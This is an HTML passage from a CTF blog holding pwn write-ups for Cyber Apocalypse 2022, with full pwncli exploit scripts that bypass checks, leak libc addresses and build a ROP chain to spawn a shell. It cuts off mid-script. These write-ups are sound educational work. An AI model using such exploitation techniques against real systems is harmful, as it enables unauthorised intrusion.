class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">continue</span> </span></span><span class="line"><span class="cl"> <span class="n">times</span> <span class="o">=</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="k">if</span> <span class="n">wri1</span> <span class="o">&gt;=</span> <span class="n">ori1</span> <span class="k">else</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="o">+</span> <span class="mh">0x100</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;0 </span><span class="si">{</span><span class="n">times</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">times</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="n">y</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="s2">&#34;0 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ori_content</span> <span class="o">=</span> <span class="mh">0x7f2838abd140</span> </span></span><span class="line"><span class="cl"><span class="n">write_content</span> <span class="o">=</span> <span class="mh">0x7f2838806d60</span><span class="o">+</span><span class="mh">0x1b</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;ori_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;write_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">ori1</span> <span class="o">=</span> <span class="n">ori_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">wri1</span> <span class="o">=</span> <span class="n">write_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">ori_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="n">write_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">ori1</span> <span class="o">==</span> <span class="n">wri1</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">continue</span> </span></span><span class="line"><span class="cl"> <span class="n">times</span> <span class="o">=</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="k">if</span> <span class="n">wri1</span> <span class="o">&gt;=</span> <span class="n">ori1</span> <span class="k">else</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="o">+</span> <span class="mh">0x100</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;0 </span><span class="si">{</span><span class="n">times</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">times</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="n">y</span><span class="o">+</span><span class="mh">0x68</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="s2">&#34;0 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p>Attack remote host:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003103106963.png' alt="image-20221003103106963"></p> <h2 class="heading-element" id="reference"><span>Reference</span> <a href="#reference" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>1、<a href="https://roderickchan.github.io"target="_blank" rel="external nofollow noopener noreferrer">My Blog<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>2、<a href="https://ctf-wiki.org/"target="_blank" rel="external nofollow noopener noreferrer">Ctf Wiki<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>3、<a href="https://github.com/RoderickChan/pwncli"target="_blank" rel="external nofollow noopener noreferrer">pwncli<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> 2022-Cyber-Apocalypse-CTF-All-Pwn-Wp https://roderickchan.github.io/2022-cyber-apocalypse-ctf-all-pwn-wp/ Fri, 20 May 2022 15:07:34 +0800[email protected] (roderick) https://roderickchan.github.io/2022-cyber-apocalypse-ctf-all-pwn-wp/ pwn-wp <blockquote> <p>This is my write-up for all pwn challenges in Cyber-Apocalypse-CTF-2022, I had solved all tasks in two days. Anyway, these pwn challenges are not very hard&hellip;</p> <p>Please leave a message or send me an email if you have any questions about the wp.</p></blockquote> <h2 class="heading-element" id="1-entrypoint"><span>1-Entrypoint</span> <a href="#1-entrypoint" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="vulnerability"><span>Vulnerability</span> <a href="#vulnerability" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>In <code>check_pass</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520003600243.png' alt="image-20220520003600243"></p> <p>Look at the <code>if condition</code> about <code>strncmp</code>, you can input anything except <code>0nlyTh30r1g1n4l</code> to call <code>open_door</code>, in which function you can get flag:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520003904550.png' alt="image-20220520003904550"></p> <h3 class="heading-element" id="exp"><span>EXP</span> <a href="#exp" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] Insert password: &#34;</span><span class="p">,</span> <span class="s2">&#34;wtf&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004008085.png' alt="image-20220520004008085"></p> <h2 class="heading-element" id="2-spacepirategoingdeeper"><span>2-SpacepirateGoingDeeper</span> <a href="#2-spacepirategoingdeeper" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="vulnerability-1"><span>Vulnerability</span> <a href="#vulnerability-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004212542.png' alt="image-20220520004212542"></p> <p>It&rsquo;s too easy to get flag&hellip;just input <code>DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft\x00</code></p> <h3 class="heading-element" id="exp-1"><span>EXP</span> <a href="#exp-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;Username: &#34;</span><span class="p">,</span> <span class="s2">&#34;DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004346069.png' alt="image-20220520004346069"></p> <h2 class="heading-element" id="3-retribution"><span>3-Retribution</span> <a href="#3-retribution" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>A basic stack overflow challenge.</p> <h3 class="heading-element" id="checksec"><span>Checksec</span> <a href="#checksec" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004714145.png' alt="image-20220520004714145"></p> <h3 class="heading-element" id="vulnerability-2"><span>Vulnerability</span> <a href="#vulnerability-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>stack overflow:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004648625.png' alt="image-20220520004648625"></p> <p>steps of solution:</p> <ul> <li>leak address of glibc using <code>printf</code></li> <li>use <code>rop</code> to get shell</li> </ul> <h3 class="heading-element" id="exp-2"><span>EXP</span> <a href="#exp-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;y =&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rls</span><span class="p">(</span><span class="s2">&#34;[*] New coordinates&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">log_ex</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">code_base</span> <span class="o">=</span> <span class="n">u64_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="o">-</span><span class="mi">6</span><span class="p">:])</span> <span class="o">-</span> <span class="mh">0xd70</span> </span></span><span class="line"><span class="cl"><span class="n">log_address</span><span class="p">(</span><span class="s2">&#34;code addr&#34;</span><span class="p">,</span> <span class="n">code_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">set_current_code_base</span><span class="p">(</span><span class="n">code_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;(y/n):&#34;</span><span class="p">,</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">88</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">code_base</span> <span class="o">+</span> <span class="mh">0x0000000000000d33</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">code_base</span> <span class="o">+</span> <span class="mh">0x202F90</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="o">.</span><span class="n">puts</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">code_base</span> <span class="o">+</span> <span class="mh">0xa22</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">}))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">set_current_libc_base_and_log</span><span class="p">(</span><span class="n">recv_current_libc_addr</span><span class="p">(),</span> <span class="n">offset</span><span class="o">=</span><span class="s1">&#39;puts&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;y =&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;(y/n):&#34;</span><span class="p">,</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">88</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">code_base</span> <span class="o">+</span> <span class="mh">0x0000000000000d33</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">)</span><span class="o">.</span><span class="fm">__next__</span><span class="p">(),</span> </span></span><span class="line"><span class="cl"> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span 